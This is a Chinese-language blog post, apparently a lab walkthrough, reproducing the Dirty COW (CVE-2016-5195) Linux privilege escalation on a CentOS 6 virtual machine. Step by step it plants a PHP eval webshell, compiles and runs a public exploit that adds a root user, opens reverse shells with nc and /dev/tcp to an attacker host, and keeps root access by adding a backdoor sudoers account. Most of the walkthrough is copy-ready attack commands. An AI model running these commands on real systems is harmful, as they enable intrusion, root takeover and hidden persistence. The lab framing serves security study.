漏洞描述

脏牛漏洞(CVE-2016–5195),又叫Dirty COW,存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞,在2016年10月18后才得以修复,因此影响范围很大。

漏洞具体是由于get_user_page内核函数在处理Copy-on-Write的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。修改su或者passwd程序就可以达到root的目的。

漏洞危害

低权限用户利用脏牛漏洞可以在众多Linux系统上实现本地提权

影响范围

(如果你的内核版本低于以下版本,则还存在此漏洞):

Centos7/RHEL7     3.10.0-327.36.3.el7
Cetnos6/RHEL6     2.6.32-642.6.2.el6
Ubuntu 16.10      4.8.0-26.28
Ubuntu 16.04      4.4.0-45.66
Ubuntu 14.04      3.13.0-100.147
Debian 8          3.16.36-1+deb8u2
Debian 7          3.2.82-1

漏洞复现

虚拟机搭建centos6环境,查看内核版本

可以发现是在上述的漏洞范围之内

为了模拟获取webshell,这里我搭建了一下web环境

环境搭建

安装apache、php: yum -y install httpd php

开启http服务 : service httpd start

这里还需开放80端口,不然会会访问失败

先关掉防火墙selinux,输入:setenforce 0

开放80端口:/sbin/iptables -I INPUT -p tcp --dport 80 -j ACCEPT

记得重启一下http

查看防火墙状态:service iptables status

80端口已经开放

写一个php小马,简单测试一下

echo "<?php eval($_REQUEST[123]) ?>" > /var/www/html/shell.php

连接蚁剑,查看权限,只有apache的权限

脏牛提权

1、上传脏牛提权EXP,注意上传到/tmp 这种可读可写的文件夹

exp地址:https://github.com/FireFart/dirtycow


2、编译EXP:

gcc -pthread dirty.c -o dirty –lcrypt

3、生成root权限的用户:./dirty 123

查看/etc/passwd

成功创建一个firefart超级用户

尝试通过su 切换用户,报错了


这是因为通过这种方式连接得到的shell类型,不能su交互,tty表示交互式终端

解决方法可以切换一下shell

python -c 'import pty; pty.spawn("/bin/sh")'
或python -c 'import pty; pty.spawn("/bin/bash")'

得到shell就可以su进行交互了。

但如果在蚁剑里面直接切换shell,无法成功,猜测是权限不够

如何得到一个完全交互性的shell

尝试用nc反弹shell

1、在攻击机上开启nc监听

2、反弹shell:

nc  攻击机ip 1234 -e /bin/sh  (目标主机上有nc)
bash -i >& /dev/tcp/攻击机ip/1234 0>&1  (目标主机上没有nc)

重新切换shell
```python -c 'import pty; pty.spawn("/bin/sh")'

![](https://xzfile.aliyuncs.com/media/upload/picture/20210614133348-1818ea76-ccd2-1.png)

终于切换到超级用户

这里要记得利用备份文件还原root用户:```mv /tmp/passwd.bak /etc/passwd

还原之后不要急着退出、我们可以生成一个root权限的新用户保留权限

1、添加用户,首先用adduser命令添加一个普通用户,命令如下:

adduser qaz//添加一个名为abc的用户
passwd qaz //修改密码


2、赋予root权限

修改 /etc/sudoers 文件,找到下面一行,在root下面添加一行,如下所示:

root ALL=(ALL) ALL
qaz ALL=(ALL) ALL

但在修改文件的时候,发现得到的shell还是有问题的

他直接读取了我们键盘的数据,这是因为得到的还是一个半交互性的shell

解决方法如下:

1、Ctrl-Z 可以将一个正在前台执行的命令放到后台,并且暂停
2、stty raw -echo //设置原始输入并禁止回显(当在键盘上输入时,并不出现在屏幕上)
3、fg  将后台中的命令调至前台继续运行

现在就可以正常修改了

修改完毕,现在可以用qaz帐号登录,然后用命令 sudo ,即可获得root权限进行操作

点击收藏 | 3 关注 | 1 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖